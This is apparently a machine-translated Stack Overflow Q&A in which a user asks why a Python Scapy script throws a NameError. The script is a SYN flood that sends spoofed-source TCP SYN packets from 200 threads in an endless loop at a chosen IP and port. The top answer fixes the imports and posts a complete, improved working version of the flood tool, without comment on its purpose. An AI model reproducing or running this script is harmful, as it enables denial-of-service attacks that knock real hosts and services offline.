2015-08-28 66 views
4

我用Python写一个脚本使用Scapy的,但我的问题是,例外情况是:Scapy的在Python脚本

i = IP()

NameError: global name 'IP' is not defined

这是我的脚本:

import random 
from scapy import * 
import threading 
import logging 
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 

print ("Which IP would you like to choose?") 
ip = raw_input("-->") 
print ("Which Port would you like to choose?") 
port = raw_input("-->") 

class sendSYN(threading.Thread): 
    global ip, port 

    def __init__(self): 
     threading.Thread.__init__(self) 

    def run(self): 
     # Method - 
     i = IP() 
     i.src = "%i.%i.%i.%i" % (random.randint(1, 254), random.randint(1, 254), random.randint(1, 254), random.randint(1, 254)) 
     i.dst = ip 

     t = TCP() 
     t.sport = random.randint(1, 65535) 
     t.dport = port 
     t.flags = 'S' 

     send(i/t, verbose=0) 

count = 0 
while True: 
    if threading.activeCount() < 200: 
     sendSYN().start() 
     count += 1 
     if count % 100 == 0: 
      print ("\rPackets SYN\t:\t\t\t%i" % count) 

我应该怎么办要解决这个问题?

+0

你认为'IP'是什么? – Kasramvd

+0

@Kasramvd当你使用scapy并且你想创建一个包时,你使用语句IP(src =“...”,dst =“...”)'。所以我想'IP()'是ip包创建。在这里阅读:[Scappy使用 - 生成套数据包](http://www.secdev.org/projects/scapy/doc/usage.html#generating-sets-of-packets) –

+0

看来您的程序无法识别什么是IP,你可以检查它是否实际上在scapy下被定义? –

回答

3

进口IP/TCP

可以导入所有层Scapy的直接从scapy.layers.*提供分装。这很好,只要你不需要像send/sendp/sniff /等任何其他功能,或者你需要一些像ASN.1这样相当神奇的层,如果某些全局初始化通常在导入时设置失败并引发异常scapy.all缺失。

的IP()和TCP()(检查Scapy的/层/ inet.py)

from scapy.layers.inet import IP, TCP 

具体的进口就足够了,只要你只使用它们去/序列化(例如组装/拆卸数据包),但由于您还需要send(),因此您必须导入scapy.all,如Semih Yagcioglu建议。 请注意,根据scapy manual进口线从from scapy import *(Scapy的1.x版)改为from scapy.all import *(因为Scapy的版本2.x),因此下面应该是对你罚款:

from scapy.all import send, IP, TCP 

注意,进口Scapy的。所有的都很慢,因为它通配符导入所有的子包并且执行一些初始化的魔术。 这就是说,你应该尽量避免不必要的通配符进口(编码风格;即使没有在Scapy的情况下太大的区别)

from scapy.all import * 

蟒蛇2.7

Scapy的V2.3.1是兼容在Linux上的Python 2.7。 但是,在Windows上使其功能完全没有那么简单,请参阅problems with scapy on windows,特别是通过phys wifi nics发送数据包。通常,Windows用户使用scapy 2.3.1运行python2.6(请注意,当scapy尝试在某些Windows版本上获得原始套接字访问权限时,可能存在权限问题)。为了让你省点头痛,我强烈建议在linux上运行它(vbox很好)。你的代码

下面的代码的

工作例如在Linux上,py2.7 Scapy的2.3的工作对我罚款。1:

#!/usr/bin/env python 
# -*- coding: UTF-8 -*- 
import logging 
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 
import threading 
import random 
from scapy.all import IP, TCP, RandIP, send, conf, get_if_list 
logging.basicConfig(level=logging.DEBUG, format='%(asctime)-15s [%(threadName)s] %(message)s') 

class sendSYN(threading.Thread): 
    def __init__(self, target): 
     threading.Thread.__init__(self) 
     self.ip, self.port = target 

    def run(self): 
     pkt = IP(src=RandIP(), 
       dst=self.ip)/TCP(flags='S', 
            dport=self.port, 
            sport=random.randint(0,65535)) 

     send(pkt) 
     logging.debug("sent: %s"%pkt.sprintf("{IP:%IP.src%:%TCP.sport% -> %IP.dst%:%TCP.dport%}")) 

if __name__=='__main__': 
    conf.verb = 0  # suppress output 
    print ("Which Interface would you like to choose? %r"%get_if_list()) 
    iface = raw_input("[%s] --> "%get_if_list()[0]) or get_if_list()[0] 
    if iface not in get_if_list(): raise Exception("Interface %r not available"%iface) 
    conf.iface = iface 
    print ("Which IP would you like to choose?") 
    ip = raw_input("-->") 
    print ("Which Port would you like to choose?") 
    port = int(raw_input("-->")) 

    count = 0 
    while True: 
     if threading.activeCount() < 200: 
      sendSYN((ip, port)).start() 
      count += 1 
      if count % 100 == 0: 
       logging.info ("\rPackets SYN\t:\t\t\t%i" % count) 
  • 固定进口
  • 使用记录而不是打印
  • 传递目标类实例,而不是使用全局
  • 加入界面选择(必须有Windows作为Scapy的使用Linux风格界面这就是为什么你可能必须猜测正确的一个窗口)
  • 全球设置scapy详细
  • 使用RandIP()字段而不是手动构建随机IP
  • TCP.sport/dport期望一个整数,因此您必须parseInt从stdin读取的值。
  • 打印发送的数据包的IP /使用端口的snprintf()
0

我认为你应该为缺少的东西进行必要的导入。

试试这个:

from scapy.all import IP 

还是这个

from scapy.all import * 
+0

没有工作。 'scapy.all'中没有'IP':( –

+0

由于某种原因,我得到了Scapy模块,但是当我尝试导入'scapy.all'时,它说没有模块,但是我是100 %正面,我做,因为我使用PyCharm,我在那里安装Scapy模块 –

+0

这很有趣,快速搜索返回所有子模块似乎堆叠在scapy.all下,你应该能够从scapy导入它们。所有的进口* –

-1

它看起来像你使用python3您的“打印()”,但是当你想从用户那里得到的输入您使用“的raw_input”,而不是的“输入”